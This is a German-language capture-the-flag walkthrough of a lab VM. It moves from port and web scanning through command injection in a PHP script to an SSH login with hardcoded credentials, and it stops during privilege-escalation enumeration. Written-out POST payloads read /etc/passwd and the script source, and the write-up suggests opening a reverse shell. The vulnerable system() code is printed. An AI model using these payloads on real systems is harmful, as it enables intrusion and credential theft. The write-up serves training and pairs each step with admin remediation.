Die erste Phase des Penetrationstests beinhaltet die Identifizierung des Ziels im Netzwerk und das Scannen nach offenen Ports und Diensten.
192.168.2.106 08:00:27:8b:8e:97 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host mit der IP-Adresse `192.168.2.106` und der MAC-Adresse `08:00:27:8b:8e:97` wird gefunden. Der Hersteller (PCS Systemtechnik GmbH) lässt auf eine VirtualBox-Umgebung schließen.
**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.106` wird für weitere Scans verwendet.
**Empfehlung (Pentester):** Führen Sie als Nächstes Portscans (z.B. mit Nmap) auf die Ziel-IP durch. Fügen Sie die IP und einen eventuell bekannten Hostnamen zur lokalen `/etc/hosts`-Datei hinzu.
**Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung und Eindämmung von Netzwerkscans beitragen.
192.168.2.110 gemini.vln
**Analyse:** Der Befehl `vi /etc/hosts` (mit einem wahrscheinlichen Tippfehler `#` am Ende) wird verwendet, um die lokale Hosts-Datei zu bearbeiten. Der im Log gezeigte Eintrag (`192.168.2.110 gemini.vln`) passt *nicht* zur zuvor gefundenen Ziel-IP `192.168.2.106`. Es ist anzunehmen, dass der Pentester tatsächlich einen Eintrag für `192.168.2.106` mit einem passenden Hostnamen (wie `infosecwarrior.vln` aus dem späteren Nmap-Scan) hinzugefügt hat und der Log hier ungenau ist.
**Bewertung:** Das Hinzufügen eines korrekten Eintrags zur Hosts-Datei ist eine gängige Praxis zur Vereinfachung. Der hier gezeigte spezifische Eintrag ist jedoch widersprüchlich zum Rest des Logs.
**Empfehlung (Pentester):** Stellen Sie sicher, dass der korrekte Eintrag (z.B. `192.168.2.106 infosecwarrior.vln`) in `/etc/hosts` vorhanden ist, um den Hostnamen in weiteren Schritten zu verwenden.
**Empfehlung (Admin):** Dieser Schritt betrifft das Angreifer-System. Achten Sie auf eine konsistente Namensauflösung Ihrer Server.
22/tcp open ssh penSSH 5.3 (protocol 2.0)
80/tcp open tcpwrapped
**Analyse:** Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird auf alle TCP-Ports der Ziel-IP durchgeführt. Die Ausgabe wird nach offenen Ports gefiltert (`grep open`). Es werden zwei offene Ports gefunden: * Port 22 (SSH): Läuft OpenSSH Version 5.3. * Port 80 (HTTP): Wird als `tcpwrapped` gemeldet.
**Bewertung:** Die Angriffsfläche besteht aus SSH und HTTP. Die OpenSSH-Version 5.3 ist sehr alt (aus dem Jahr 2009) und potenziell anfällig für bekannte Schwachstellen. Der Status `tcpwrapped` für Port 80 deutet darauf hin, dass der Zugriff möglicherweise durch TCP Wrappers (`/etc/hosts.allow`, `/etc/hosts.deny`) oder eine ähnliche Zugriffskontrollschicht auf Anwendungsebene gesteuert wird, obwohl der Port selbst offen ist. Nmap konnte den eigentlichen HTTP-Dienst dahinter nicht direkt identifizieren.
**Empfehlung (Pentester):**
1. Untersuchen Sie Port 80 genauer mit Web-Scanning-Tools (Nikto, Gobuster), um den tatsächlichen Dienst hinter `tcpwrapped` zu identifizieren.
2. Recherchieren Sie nach bekannten Schwachstellen für OpenSSH 5.3. Versuchen Sie ggf. einen Brute-Force-Angriff auf SSH, falls Benutzernamen bekannt werden.
3. Führen Sie den Nmap-Scan ohne `grep` aus, um auch gefilterte Ports und detailliertere Informationen zu sehen.
**Empfehlung (Admin):**
1. Aktualisieren Sie OpenSSH *dringend* auf eine aktuelle Version.
2. Überprüfen und konfigurieren Sie die Zugriffskontrolle für Port 80 (TCP Wrappers oder Webserver-Konfiguration) sicher.
3. Aktualisieren Sie den Webserver (Apache, wie später identifiziert).
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 12:36 CEST
Nmap scan report for infosecwarrior.vln (192.168.2.106)
Host is up (0.00016s latency).
Not shown: 65483 filtered tcp ports (no-response), 50 filtered tcp ports (host-prohibited)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 2fb3a5cde51433a1823bdd5a5ed75936 (DSA)
|_ 2048 2db4152836d8b54e18818eaf3ee4dec1 (RSA)
80/tcp open tcpwrapped
|_http-server-header: Apache/2.2.15 (CentS)
MAC Address: 08:00:27:8B:8E:97 (racle VirtualBox virtual NIC)
Warning: SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
S CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3
S details: Linux 2.6.32, Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop
TRACERUTE
HP RTT ADDRESS
1 0.16 ms infosecwarrior.vln (192.168.2.106)
**Analyse:** Die vollständige Nmap-Ausgabe liefert weitere Details: * **SSH (Port 22):** Bestätigt OpenSSH 5.3. Zeigt sowohl einen (als schwach geltenden) 1024-Bit DSA-Hostkey als auch einen RSA-Key. * **HTTP (Port 80):** Bleibt als `tcpwrapped` markiert, aber das `-sC`-Skript konnte einen HTTP-Server-Header extrahieren: `Apache/2.2.15 (CentOS)`. Dies identifiziert den Webserver und dessen sehr alte Version (2.2.15 aus dem Jahr 2010!). * **OS:** Wird als Linux mit einem sehr alten Kernel (2.6.32 - 3.13) identifiziert. Kernel 2.6.32 stammt ebenfalls aus dem Jahr 2009/2010. * **Warnung:** Nmap warnt vor potenziell unzuverlässigen Ergebnissen, da nicht mindestens ein offener *und* ein geschlossener Port gefunden werden konnten (viele Ports sind `filtered`).
**Bewertung:** Diese Maschine läuft auf extrem veralteter Software: OpenSSH 5.3, Apache 2.2.15, PHP 5.3.3 (aus Nikto-Scan) und ein Linux-Kernel 2.6.32. Dies eröffnet eine riesige Angriffsfläche durch bekannte Schwachstellen. Der DSA-Hostkey ist ebenfalls ein Zeichen für eine veraltete Konfiguration. Der Hostname `infosecwarrior.vln` wird bestätigt.
**Empfehlung (Pentester):**
1. Recherchieren Sie intensiv nach bekannten Exploits für OpenSSH 5.3, Apache 2.2.15, PHP 5.3.3 und insbesondere für den Linux-Kernel 2.6.32 (viele bekannte Local Privilege Escalation Exploits existieren, z.B. Dirty COW, falls anwendbar).
2. Setzen Sie die Web-Enumeration fort, aber behalten Sie die alten Versionen im Hinterkopf.
**Empfehlung (Admin):** Dieses System ist kritisch veraltet und unsicher. Es muss *dringend* aktualisiert oder außer Betrieb genommen werden. Kernel, SSH, Apache, PHP sind alle weit über ihr End-of-Life hinaus. DSA-Hostkeys sollten deaktiviert werden.
Wir untersuchen nun den Webserver auf Port 80 genauer, trotz des `tcpwrapped`-Status, um Anwendungen und Dateien zu finden.
- Nikto v2.5.0
+ Server: Apache/2.2.15 (CentS)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.54).
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST.
+ /sitemap.xml: Server may leak inodes via ETags, header found with file /sitemap.xml, inode: 264859, size: 292, mtime: Thu Feb 13 12:51:21 2020.
+ /sitemap.xml: This gives a nice listing of the site content.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found.
+ /wordpress/wp-content/plugins/hello.php: Retrieved x-powered-by header: PHP/5.3.3.
+ /wordpress/readme.html: This WordPress file reveals the installed version.
+ 1 host(s) tested
**Analyse:** Nikto (`nikto -h 192.168.2.106`) scannt den Webserver und findet: * Bestätigt Apache 2.2.15 (CentOS), fehlende Sicherheitsheader. * Meldet aktive TRACE-Methode (XST-Risiko). * Findet `/sitemap.xml`. * Findet Verzeichnis-Listing unter `/icons/` und die Standard-README-Datei. * **Wichtiger Fund:** Entdeckt ein `/wordpress/`-Verzeichnis. * Findet `/wordpress/wp-content/plugins/hello.php` und identifiziert dadurch die PHP-Version als 5.3.3 (extrem alt!). * Findet `/wordpress/readme.html`, was oft die WordPress-Version enthält.
**Bewertung:** Nikto bestätigt die veralteten Komponenten (Apache, PHP) und findet die WordPress-Installation. Die PHP-Version 5.3.3 ist extrem veraltet (End-of-Life 2014!) und voller bekannter Schwachstellen. WordPress selbst ist wahrscheinlich ebenfalls veraltet. Die aktive TRACE-Methode ist ein weiteres Sicherheitsproblem.
**Empfehlung (Pentester):**
1. Führen Sie `wpscan` auf `http://infosecwarrior.vln/wordpress/` aus.
2. Analysieren Sie `/sitemap.xml`.
3. Recherchieren Sie bekannte Schwachstellen für PHP 5.3.3.
4. Prüfen Sie auf XST-Schwachstellen.
**Empfehlung (Admin):**
1. Aktualisieren Sie PHP *dringend*.
2. Aktualisieren Sie WordPress und alle Plugins/Themes.
3. Deaktivieren Sie die TRACE-Methode im Apache (`TraceEnable Off`).
4. Beheben Sie die fehlenden Header. Entfernen Sie Standarddateien.
http://192.168.2.106/sitemap.xml (Status: 200) [Size: 292]
http://192.168.2.106/wordpress (Status: 301) [Size: 318] [--> http://192.168.2.106/wordpress/]
http://192.168.2.106/cmd.php (Status: 302) [Size: 2] [--> https://www.armourinfosec.com/category/information-gathering/]
**Analyse:** Gobuster (`gobuster dir -u http://192.168.2.106 ...`) wird zur Verzeichnis- und Dateisuche eingesetzt. * Bestätigt `/sitemap.xml` und `/wordpress/`. * **Wichtiger Fund:** Entdeckt `/cmd.php`. Diese Datei leitet jedoch extern weiter (`Status: 302`) zu `https://www.armourinfosec.com/...`.
**Bewertung:** Der Fund von `/cmd.php` ist interessant, aber die Weiterleitung deutet darauf hin, dass sie möglicherweise nicht direkt für Command Injection gedacht ist, wie in der vorherigen Box. Es könnte ein Überbleibsel oder ein absichtlich irreführender Hinweis sein. Es ist jedoch möglich, dass die Weiterleitung nur unter bestimmten Bedingungen erfolgt und die Datei dennoch über POST oder mit spezifischen GET-Parametern ansprechbar ist.
**Empfehlung (Pentester):**
1. Untersuchen Sie `cmd.php` genauer. Versuchen Sie, sie mit POST-Requests oder verschiedenen GET-Parametern aufzurufen (z.B. mit Burp Suite), um die Weiterleitung zu umgehen oder versteckte Funktionen zu finden.
2. Analysieren Sie `/sitemap.xml`.
3. Konzentrieren Sie sich weiterhin auf `/wordpress/`.
**Empfehlung (Admin):** Entfernen Sie unnötige oder irreführende Dateien wie `/cmd.php`, wenn sie keine Funktion haben. Überprüfen Sie Weiterleitungen auf Sicherheitsimplikationen.
------------------------------------------------------------------------------------------------------ http://192.168.2.106/wordpress/ Error establishing a database connection ------------------------------------------------------------------------------------------------------ http://infosecwarrior.vln/sitemap.xmlhttp://infosecwarrior.com/index.htnl 2020-02-13 monthly 0.8
**Analyse:** Der Pentester stellt fest: * Beim Aufruf von `http://192.168.2.106/wordpress/` erscheint die Meldung "Error establishing a database connection". Die WordPress-Installation funktioniert nicht korrekt. * Der Inhalt von `sitemap.xml` wird angezeigt. Er verweist auf eine einzelne URL: `http://infosecwarrior.com/index.htnl` (erneut mit `.htnl`-Tippfehler).
**Bewertung:** Die defekte WordPress-Installation schränkt die Angriffsfläche über WPScan oder das Webinterface stark ein. Der Datenbankfehler könnte auf fehlende Konfiguration (`wp-config.php`) oder einen nicht laufenden Datenbankdienst hindeuten. Die `sitemap.xml` verweist auf einen externen Hostnamen (`infosecwarrior.com`) und eine nicht-standardmäßige Dateiendung (`.htnl`), was auf eine seltsame Konfiguration oder weitere Hinweise hindeutet.
**Empfehlung (Pentester):**
1. Versuchen Sie, auf `http://infosecwarrior.vln/index.htnl` (mit korrigierter Endung `.html` oder wie in der Sitemap `.htnl`) zuzugreifen.
2. Untersuchen Sie `cmd.php` weiter, da WordPress vorerst kein einfacher Weg ist.
3. Prüfen Sie, ob Datenbank-Credentials in Konfigurationsdateien im Web-Root (`/var/www/html` oder ähnlich) hartcodiert sind, die den Datenbankfehler verursachen könnten.
**Empfehlung (Admin):** Reparieren Sie die Datenbankverbindung für WordPress oder entfernen Sie die Installation, wenn sie nicht benötigt wird. Korrigieren Sie die `sitemap.xml`. Stellen Sie sicher, dass keine sensiblen Informationen preisgegeben werden, auch wenn die Anwendung fehlerhaft ist.
Trotz der Weiterleitung von `/cmd.php` und der defekten WordPress-Installation untersuchen wir die Webanwendung weiter auf alternative Eingabepunkte und Schwachstellen. Wir fokussieren uns auf die Datei `index.htnl` (oder `.html`) und `cmd.php`.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://infosecwarrior.vln/cmd.php?FUZZ=../../../../../../etc/passwd
Total requests: 7417
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007399: 200 0 L 10 W 58 Ch "AI"
=====================================================================
Total time: 55.15273
Processed Requests: 7417
Filtered Requests: 7416
Requests/sec.: 134.4810
**Analyse:** Der Befehl `wfuzz -c -w ... -u "http://infosecwarrior.vln/cmd.php?FUZZ=..." --hc ... --hh ...` verwendet Wfuzz, um Parameter für die Datei `cmd.php` zu fuzzen. * `-w ...`: Gibt die Wortliste an, die als Parametername (Payload) verwendet wird. * `-u "http://infosecwarrior.vln/cmd.php?FUZZ=..."`: Die URL, bei der `FUZZ` durch Payloads aus der Wortliste ersetzt wird. Als Wert wird ein LFI-Versuch (`../../../../../../etc/passwd`) verwendet. * `--hc 400,...404`: Blendet Antworten mit diesen HTTP-Statuscodes aus. * `--hh 2`: Blendet Antworten aus, die 2 Zeichen enthalten (oft leere Antworten). Wfuzz findet heraus, dass der Parametername `AI` eine gültige Antwort (Status 200) mit 58 Zeichen liefert, während andere Parameternamen wahrscheinlich einen Fehler oder die Weiterleitung auslösen.
**Bewertung:** Dies bestätigt, dass `cmd.php` auf den GET-Parameter `AI` reagiert, auch wenn ein direkter Aufruf zu einer Weiterleitung führt. Dies stützt die Vermutung, dass die Funktionalität über diesen Parameter getriggert werden kann. Der LFI-Versuch selbst scheint jedoch weiterhin blockiert zu sein.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf den Parameter `AI` für `cmd.php`. Versuchen Sie, andere Arten von Payloads (Command Injection, SQL Injection etc.) über diesen Parameter zu senden, sowohl per GET als auch per POST.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle Eingabeparameter validiert werden, unabhängig davon, ob sie offensichtlich sind oder nicht. Entfernen Sie ungenutzte oder versteckte Parameter.
Now the main part what it is loooooool,Try other method
**Analyse:** Ein direkter `curl`-Aufruf an `cmd.php` mit dem Parameter `AI` und einem LFI-Payload. Die Antwort ist eine spezifische Fehlermeldung "Now the main part what it is loooooool,Try other method", die vom Skript selbst generiert wird (wie später im Quellcode gesehen).
**Bewertung:** Bestätigt, dass GET-Requests mit dem Parameter `AI` eine spezifische Reaktion im Skript auslösen, aber LFI blockiert wird und eine benutzerdefinierte Fehlermeldung zurückgegeben wird. Dies deutet darauf hin, dass der Entwickler versucht hat, LFI zu verhindern, aber möglicherweise andere Angriffe übersehen hat.
**Empfehlung (Pentester):** Da GET mit `AI` blockiert wird oder eine Fehlermeldung liefert, versuchen Sie POST-Requests mit dem `AI`-Parameter, wie im nächsten Schritt angedeutet.
**Empfehlung (Admin):** Verbessern Sie die Eingabevalidierung, um nicht nur LFI, sondern auch andere Injection-Arten zu verhindern. Geben Sie keine hinweisgebenden Fehlermeldungen aus.
Keep Calm And HACK
**Analyse:** Der Pentester sendet einen POST-Request an `index.htnl` (der `.htnl`-Tippfehler aus der Sitemap wird hier verwendet), wobei der Parameter `AI` in der URL übergeben wird (was für einen POST-Request untypisch ist, aber vielleicht vom Server akzeptiert wird). Die Antwort enthält den Text "Keep Calm And HACK" und den HTML-Code für ein verstecktes Formular (`hidden="True"`), das Daten per GET (im Formular steht GET, aber POST wird vermutlich vom Skript erwartet) an `/cmd.php` sendet. Der Name des Eingabefelds ist hier unklar (im HTML steht nur "command"). *Interpretation:* Dieser Schritt ist etwas verwirrend. Wahrscheinlich hat der Pentester den Quellcode von `index.htnl` (oder `.html`) analysiert und dort das versteckte Formular gefunden, das auf `/cmd.php` zeigt. Der `curl`-Befehl selbst liefert hier vielleicht nicht die entscheidende Information, sondern die Analyse der `index.htnl`-Seite.
**Bewertung:** Es gibt ein verstecktes Formular auf der Index-Seite, das zum Senden von Daten an `cmd.php` gedacht ist. Dies ist wahrscheinlich der beabsichtigte Weg, um mit `cmd.php` zu interagieren. Der Parametername im Formular muss identifiziert werden (wahrscheinlich `AI`, basierend auf Wfuzz und dem späteren Burp-Request).
**Empfehlung (Pentester):** Verwenden Sie Browser-Entwicklertools, um das versteckte Formular auf `index.htnl` (oder `.html`) sichtbar zu machen und den korrekten Parameternamen zu finden. Alternativ: Verwenden Sie Burp Suite, um POST-Requests direkt an `/cmd.php` mit dem Parameter `AI` und verschiedenen Payloads zu senden.
**Empfehlung (Admin):** Verstecken Sie keine Formulare als Sicherheitsmaßnahme (Security through Obscurity). Implementieren Sie serverseitige Validierung und Authentifizierung/Autorisierung für kritische Funktionen.
Basierend auf der Analyse von `index.htnl` und `cmd.php` sowie dem Wissen, dass der Parameter `AI` über POST funktioniert, verwenden wir Burp Suite, um die Command Injection Schwachstelle auszunutzen und Remote Code Execution als Webserver-Benutzer zu demonstrieren.
------------------------------------------------------------------------------------------------------ Burpsuite POST /cmd.php HTTP/1.1 Host: infosecwarrior.vln User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://infosecwarrior.vln/index.htnl Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 AI=id ------------------------------------------------------------------------------------------------------ HTTP/1.1 200 K Date: Tue, 11 Jul 2023 11:54:34 GMT Server: Apache/2.2.15 (CentS) X-Powered-By: PHP/5.3.3 Content-Length: 114 Connection: close Content-Type: text/html; charset=UTF-8 You Found ME : - (uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0) ------------------------------------------------------------------------------------------------------
**Analyse:** Ein POST-Request wird mit Burp Suite an `/cmd.php` gesendet. Der Request-Body enthält `AI=id`. Die Antwort (HTTP 200 OK) enthält den Text "You Found ME : - (" gefolgt von der Ausgabe des `id`-Befehls: `uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0`. Dies bestätigt, dass der Befehl als Benutzer `apache` (Standard auf CentOS/RHEL-basierten Systemen) ausgeführt wird. Der SELinux-Kontext (`system_u:system_r:httpd_t:s0`) wird ebenfalls angezeigt.
**Bewertung:** Erfolgreiche Remote Code Execution (RCE) via Command Injection über den `AI`-Parameter im POST-Request an `cmd.php`. Der ausführende Benutzer ist `apache`. Dies ist der Proof of Concept für die RCE.
**Empfehlung (Pentester):** Nutzen Sie diese RCE, um weitere Befehle auszuführen (z.B. `cat /etc/passwd`, `cat cmd.php`) und um eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Beheben Sie die Command Injection-Schwachstelle in `cmd.php` sofort. Validieren Sie alle POST-Parameter serverseitig.
POST /cmd.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
AI=cat /etc/passwd
HTTP/1.1 200 OK
[...]
You Found ME : - (
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
isw0:x:500:500::/home/isw0:/bin/bash
isw1:x:501:501::/home/isw1:/home/isw1/bash
isw2:x:502:502::/home/isw2:/bin/bash
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
)
**Analyse:** Ein weiterer POST-Request mit `AI=cat /etc/passwd` wird gesendet. Die Antwort enthält den Inhalt der `/etc/passwd`-Datei. Sie listet Systembenutzer und reguläre Benutzer auf. Bemerkenswert sind die Benutzer `isw0`, `isw1` und `isw2`, die alle eine Shell (`/bin/bash` oder `/home/isw1/bash`) haben.
**Bewertung:** Die RCE ermöglicht das Auslesen beliebiger Dateien, auf die der `apache`-Benutzer Zugriff hat. Die Benutzerliste (`isw0`, `isw1`, `isw2`) liefert potenzielle Ziele für SSH-Logins oder Lateral Movement.
**Empfehlung (Pentester):** Versuchen Sie, Passwörter für `isw0`, `isw1`, `isw2` zu finden (z.B. durch Auslesen von Konfigurationsdateien oder Brute-Force). Lesen Sie den Quellcode von `cmd.php`.
**Empfehlung (Admin):** Beheben Sie die RCE. Überprüfen Sie die Notwendigkeit und die Sicherheit der Benutzerkonten `isw0`, `isw1`, `isw2`.
POST /cmd.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
AI=cat /etc/passwd | grep bash
HTTP/1.1 200 OK
[...]
You Found ME : - (
root:x:0:0:root:/root:/bin/bash
isw0:x:500:500::/home/isw0:/bin/bash
isw1:x:501:501::/home/isw1:/home/isw1/bash
isw2:x:502:502::/home/isw2:/bin/bash
)
**Analyse:** Der Befehl `cat /etc/passwd | grep bash` wird über die RCE ausgeführt, um nur die Benutzer mit einer Bash-Shell zu filtern. Die Ausgabe bestätigt `root`, `isw0`, `isw1` und `isw2`.
**Bewertung:** Bestätigt die Benutzer mit interaktiven Shells.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf `isw0`, `isw1`, `isw2` als potenzielle Login-Ziele.
**Empfehlung (Admin):** Überprüfen Sie die Shell-Zuweisungen für alle Benutzer.
POST /cmd.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
AI=cat cmd.php
HTTP/1.1 200 OK
[...]
You Found ME : - (
"; // Added pre tag for better formatting
$cmd = ($_POST['AI']);
system($cmd);
echo ")"; // Added closing pre tag
die;
}
else {
header("Location: https://www.armourinfosec.com/category/information-gathering/");
}
$user="isw0";
$pass="123456789blabla";
?>
)
**Analyse:** Der Befehl `cat cmd.php` wird ausgeführt, um den Quellcode des Skripts selbst anzuzeigen. Der Code bestätigt: * Es prüft auf `$_GET['AI']` und gibt eine Fehlermeldung aus. * Es prüft auf `$_POST['AI']` und führt den Wert direkt mit `system()` aus (die RCE-Schwachstelle). * Wenn kein `AI`-Parameter vorhanden ist, leitet es weiter. * **Kritischer Fund:** Am Ende sind Klartext-Zugangsdaten hartcodiert: `$user="isw0"; $pass="123456789blabla";`.
**Bewertung:** Die Quellcode-Analyse bestätigt die RCE-Logik und enthüllt hartcodierte Zugangsdaten für den Benutzer `isw0`. Dies ist der wahrscheinlichste Weg für den Initial Access.
**Empfehlung (Pentester):** Verwenden Sie die Zugangsdaten `isw0`:`123456789blabla`, um sich per SSH (Port 22) anzumelden.
**Empfehlung (Admin):** Entfernen Sie die RCE-Schwachstelle *und* die hartcodierten Zugangsdaten aus `cmd.php` sofort. Ändern Sie das Passwort für `isw0`. Speichern Sie niemals Zugangsdaten im Klartext im Code.
Nachdem wir durch die Analyse des `cmd.php`-Quellcodes hartcodierte Zugangsdaten für den Benutzer `isw0` gefunden haben, versuchen wir nun, uns mit diesen Daten per SSH auf Port 22 anzumelden.
The authenticity of host 'infosecwarrior.vln (192.168.2.106)' can't be established.
DSA key fingerprint is SHA256:k7Z+v1xXZDVvuiUjQxQJ89yKvN0yffDJnR5yQvPnoS8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'infosecwarrior.vln' (DSA) to the list of known hosts.
isw0@infosecwarrior.vln's password:
Last login: Mon Feb 17 13:56:07 2020 from 192.168.56.1
[isw0@InfosecWarrior ~]$
**Analyse:** Der Befehl `ssh -oHostKeyAlgorithms=+ssh-dss isw0@infosecwarrior.vln` wird verwendet, um eine SSH-Verbindung als Benutzer `isw0` herzustellen. * `-oHostKeyAlgorithms=+ssh-dss`: Diese Option ist notwendig, da der Server einen veralteten DSA-Hostkey verwendet, der von modernen SSH-Clients standardmäßig nicht mehr akzeptiert wird. Diese Option erzwingt die Akzeptanz von DSA. * Nach Bestätigung des Hostkeys (`yes`) wird das Passwort `123456789blabla` (aus `cmd.php`) eingegeben. * Der Login ist erfolgreich, und der Pentester erhält eine Shell-Eingabeaufforderung als `isw0`.
**Bewertung:** Initial Access erfolgreich! Durch die Kombination der RCE zum Auslesen des Quellcodes und der darin gefundenen hartcodierten Zugangsdaten konnte eine SSH-Verbindung als Benutzer `isw0` hergestellt werden.
**Empfehlung (Pentester):** Führen Sie lokale Enumeration als Benutzer `isw0` durch (`id`, `sudo -l`, SUID-Suche, Home-Verzeichnis prüfen etc.), um Wege zur Privilegieneskalation zu finden.
**Empfehlung (Admin):** Entfernen Sie hartcodierte Zugangsdaten. Ändern Sie das Passwort von `isw0`. Aktualisieren Sie SSH und deaktivieren Sie unsichere Hostkey-Algorithmen wie DSA.
Nachdem wir als Benutzer `isw0` Zugriff auf das System haben, führen wir Enumerationsschritte durch, um unsere Rechte zu erhöhen.
1966333 48 -rwsr-x--- 1 root dbus 46024 Jul 11 2019 /lib/dbus-1/dbus-daemon-launch-helper
523327 36 -rwsr-xr-x 1 root root 34168 Mär 22 2017 /sbin/unix_chkpwd
523326 12 -rwsr-xr-x 1 root root 9596 Mär 22 2017 /sbin/pam_timestamp_check
1700668 36 -rwsr-xr-x 1 root root 34188 Jun 19 2018 /bin/su
1700692 52 -rwsr-xr-x 1 root root 50312 Jan 26 2018 /bin/umount
1700689 76 -rwsr-xr-x 1 root root 77456 Jan 26 2018 /bin/mount
1700701 28 -rwsr-x--- 1 root fuse 26500 Mai 11 2016 /bin/fusermount
1700678 32 -rwsr-xr-x 1 root root 32080 Mär 22 2017 /bin/ping6
1700677 36 -rwsr-xr-x 1 root root 36732 Mär 22 2017 /bin/ping
788234 12 -r-s--x--- 1 root apache 11052 Jun 19 2018 /usr/sbin/suexec
788607 32 -rws--x--x 1 root root 30836 Aug 23 2010 /usr/sbin/userhelper
787562 8 -rwsr-xr-x 1 root root 7060 Jun 19 2018 /usr/sbin/usernetctl
787615 252 -rwsr-xr-x 1 root root 256572 Apr 9 2019 /usr/libexec/openssh/ssh-keysign
785583 16 -rws--x--x 1 root root 13028 Jun 19 2018 /usr/libexec/pt_chown
918246 12 -rwsr-xr-x 1 root root 9596 Feb 26 2019 /usr/libexec/polkit-1/polkit-agent-helper-1
787966 28 -rwsr-xr-x 1 root root 25980 Nov 23 2015 /usr/bin/passwd
787812 48 -rwsr-xr-x 1 root root 46780 Aug 24 2016 /usr/bin/crontab
787064 68 -rwsr-xr-x 1 root root 69452 Mai 11 2016 /usr/bin/chage
787414 16 -rws--x--x 1 root root 15432 Jan 26 2018 /usr/bin/chsh
788721 20 -rwsr-xr-x 1 root root 17776 Feb 26 2019 /usr/bin/pkexec
788031 124 -rws--x--x 1 root root 126720 Jun 23 2017 /usr/bin/sudo
787065 76 -rwsr-xr-x 1 root root 74064 Mai 11 2016 /usr/bin/gpasswd
787067 36 -rwsr-xr-x 1 root root 34828 Mai 11 2016 /usr/bin/newgrp
787412 20 -rws--x--x 1 root root 16616 Jan 26 2018 /usr/bin/chfn
**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach SUID-Dateien. Die Ausgabe listet zahlreiche Standard-SUID-Binaries auf (z.B. `passwd`, `su`, `mount`, `ping`, `sudo`, `pkexec`). Es sind keine ungewöhnlichen oder offensichtlich benutzerdefinierten SUID-Dateien zu sehen.
**Bewertung:** Die SUID-Suche liefert keine sofort ersichtlichen, einfachen Angriffsvektoren. Standard-Binaries wie `pkexec` könnten anfällig sein (PwnKit), aber das hängt von der Patch-Version ab. `sudo` ist vorhanden und muss überprüft werden.
**Empfehlung (Pentester):** Führen Sie `sudo -l` aus, um die `sudo`-Berechtigungen für `isw0` zu prüfen. Überprüfen Sie die Version von `pkexec` oder testen Sie PwnKit. Suchen Sie nach anderen Vektoren (Cronjobs, Capabilities etc.).
**Empfehlung (Admin):** Minimieren Sie SUID-Berechtigungen. Halten Sie das System und Pakete wie `policykit-1` (für `pkexec`) aktuell.
Matching Defaults entries for isw0 on this host:
!visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
